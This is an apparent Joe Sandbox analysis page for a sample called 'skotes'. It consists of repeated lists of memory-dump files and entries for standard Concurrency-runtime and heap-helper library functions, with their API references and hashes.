Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: ddddc9ef16adb63e917699573da088b35fd48e89c0c1efcecf770e24fb989cf8
Instruction ID: 72b66e6bb192e0785b2fd673eccbaab3971d87cf9993d3a2cd918bc2fc036af2
Opcode Fuzzy Hash: ddddc9ef16adb63e917699573da088b35fd48e89c0c1efcecf770e24fb989cf8
Instruction Fuzzy Hash: E5214F74A00249EFCB18EF65C999EADBBB5BF05350F54806DE905A7351DB38AE01CF90

Function 007BEE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 007BEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 007BEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 007BEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 007BEF0F
Concurrency::Context::Block.LIBCONCRT ref: 007BEF31

Strings

i{, xrefs: 007BEED0

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: i{
API String ID: 1182035702-2225238563
Opcode ID: 6d0bc778e962231abc86ab6e771037d449d7bb7acf181c4d050defba55b268fd
Instruction ID: ce217589a43a165481154130435cc29d55ca245cb346cb75a52a16d2b839d7e5
Opcode Fuzzy Hash: 6d0bc778e962231abc86ab6e771037d449d7bb7acf181c4d050defba55b268fd
Instruction Fuzzy Hash: EA214B70814249CEDF64DFA4C8497EEBBF0BF14320F600A2EE151A62D1EB799A44CA90

Function 007C78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007C7903

Part of subcall function 007C5CB8: __EH_prolog3_catch.LIBCMT ref: 007C5CBF
Part of subcall function 007C5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007C5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007C792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007C7936

Part of subcall function 007C5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 007C5D70
Part of subcall function 007C5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 007C5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 007C7982
Concurrency::location::_Assign.LIBCMT ref: 007C79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 007C79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007C79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 007C79ED

Part of subcall function 007C691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 007C6942
Part of subcall function 007C691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 007C6965

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 7a7aabc9346615fc628a33f6667800d32b1080dda6fa35467733934e8ecc1f6e
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 14310830B08255AACF1EAA784496FFEBBB59F41300F0441ADD895D7242DE3D6D4ACB91

Function 007E4C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007E4C98
__alloca_probe_16.LIBCMT ref: 007E4D5E
__freea.LIBCMT ref: 007E4DCA

Part of subcall function 007DB04B: RtlAllocateHeap.NTDLL(00000000,3FA4AC3E,?,?,007BD3FC,3FA4AC3E,?,007B7A8B,?,?,?,?,?,?,007A7465,?), ref: 007DB07E

__freea.LIBCMT ref: 007E4DD3
__freea.LIBCMT ref: 007E4DF6

Strings

Z},m}, xrefs: 007E4C26

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Z},m}
API String ID: 1423051803-16929842
Opcode ID: 789a7f307abdd361a89a7b5154a2f9d96444ff59a383bee63883313e6e5facd8
Instruction ID: d0e9d8859650eebbf57822bc537c3532c5ad1c81bbc8035344c5a5102d0fecfa
Opcode Fuzzy Hash: 789a7f307abdd361a89a7b5154a2f9d96444ff59a383bee63883313e6e5facd8
Instruction Fuzzy Hash: 8D51E772602256EFDF219F66DC45FBB37A9DF88750F250629FE0497250EB38DC1086A0

Function 007CDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 007CDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 007CDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 007CDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 007CDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 007CDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 007CDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 007CDE74

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
